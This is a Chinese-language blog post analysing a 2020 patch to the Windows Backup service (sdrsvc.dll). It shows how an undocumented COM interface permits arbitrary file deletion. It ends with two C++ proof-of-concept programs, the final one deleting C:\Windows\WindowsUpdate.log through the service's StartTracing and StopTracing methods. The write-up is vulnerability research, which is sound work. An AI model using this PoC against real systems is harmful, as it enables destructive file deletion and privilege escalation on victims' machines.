标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2025-2894]   作者: 大猪 发表于: [2021-06-04]  [2021-06-04]被用户:大猪 修改过

本文共 [642] 位读者顶过

补丁分析

2020年2月11日,Windows备份服务被爆出一个本地提权漏洞,该服务的漏洞文件为sdrsvc.dll,下图为补丁改动情况。[出自:jiwo.org]
在这里插入图片描述


修补的函数有两个,因为第二个改动太小,所以让我们来关注第一个函数SdStopTracing,它第一个参数为文件名。

在这里插入图片描述

补丁前SdStopTracing
在这里插入图片描述

补丁后SdStopTracing
在这里插入图片描述
可以看到修补后在SxCompressLogFile之前调用了EnsureFilesMatch,那么EnsureFilesMatch做了什么事呢?EnsureFilesMatch首先会调用
RetrieveFileMetadata
在这里插入图片描述
RetrieveFileMetadata会以只读的方式打开文件名,如果打开失败,那么会返回一个错误,EnsureFilesMatch收到这个错误值后也会返回错误,接着SdStopTracing直接返回,即使打开文件成功,也会调用GetFileInformationByHandle判断该文件和事件跟踪会话的文件属性是否相等,如果不相等则直接返回。
在这里插入图片描述

而漏洞触发点在于SxDeleteFile
在这里插入图片描述
SxDeleteFile会直接将文件名删除
在这里插入图片描述

下面来研究下如何调用SdStopTracing

对它进行交叉引用他,发现它会被CSdrRestoreService::StopTracing调用
在这里插入图片描述
接着对该类的一系列方法函数交叉引用找到CLSID

在这里插入图片描述
在这里插入图片描述
接着使用oleview查找所有的CLSID,找到该类
在这里插入图片描述

接着继续寻找UUID,还是对该类的方法函数交叉引用

在这里插入图片描述
最后找到该类的定义,后面发现该类是微软没有公开的,只能靠函数参数或者动态调试去猜测对应的方法名称,猜测函数名应该是6;


在这里插入图片描述


构造poc

构造代码如下

#include
#include
#include

class __declspec(uuid("2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea")) ISdrRestoreService : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc4(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc5(/* Stack Offset: 4 */ wchar_t** p0);
virtual HRESULT __stdcall Proc6(/* Stack Offset: 4 */ wchar_t* p0, /* Stack Offset: 8 */ BYTE p1);
};

ISdrRestoreService* PISdrRestoreService;


int main() {
CLSID clsid;
IID iid;

CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSIDFromString(L"{47135EEA-06B6-4452-8787-4A187C64A47E}", &clsid);
IIDFromString(L"{2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea}", &iid);

ISearchRoot* pISearchRoot;

HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&PISdrRestoreService);
if (hr != S_OK)
{
printf("Create SearchRoot ERROR %x\n", hr);
getchar();//E_NOINTERFACE
return 0;
}

int ret=PISdrRestoreService->Proc6((wchar_t*)L"C:\\Windows\\win.ini", 0);
printf("%x\n", ret);
getchar();

CoUninitialize();

return 0;
}



启动该服务


在这里插入图片描述
对CSdrRestoreService::StopTracing下断。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
编译运行后代码成功断下,但是无法进入SxDeleteFile,原因是SxStopTracing会返回一个错误值。

在这里插入图片描述

SxStopTracing失败的原因未知,根据函数名CSdrRestoreService::StopTracing,我发现有另一个函数CSdrRestoreService::StartTracing,先需要调用CSdrRestoreService::StartTracing才能让CSdrRestoreService::StopTracing执行完毕。


而CSdrRestoreService::StartTracing就是Proc5,到这里怎么调用函数就非常清晰,顺理成章的也可以做出Poc


它可以删除任何文件,poc会删除C:\Windows\WindowsUpdate.log


poc:


#include
#include
#include

class __declspec(uuid("2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea")) ISdrRestoreService : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc4(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc5(/* Stack Offset: 4 */ wchar_t** p0);
virtual HRESULT __stdcall Proc6(/* Stack Offset: 4 */ wchar_t* p0, /* Stack Offset: 8 */ BYTE p1);
};

ISdrRestoreService* PISdrRestoreService;


int main() {
CLSID clsid;
IID iid;

CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSIDFromString(L"{47135EEA-06B6-4452-8787-4A187C64A47E}", &clsid);
IIDFromString(L"{2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea}", &iid);

ISearchRoot* pISearchRoot;

HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&PISdrRestoreService);
if (hr != S_OK)
{
printf("Create SearchRoot ERROR %x\n", hr);
getchar();//E_NOINTERFACE
return 0;
}
WCHAR* test = (wchar_t*)L"123";//CSdrRestoreService::StartTracing
PISdrRestoreService->Proc5(&test);
PISdrRestoreService->Proc6((wchar_t*)L"C:\\Windows\\WindowsUpdate.log", 0); //CSdrRestoreService::StopTracing
getchar();

CoUninitialize();

return 0;
}




评论

暂无
发表评论
 返回顶部 
热度(642)
 关注微信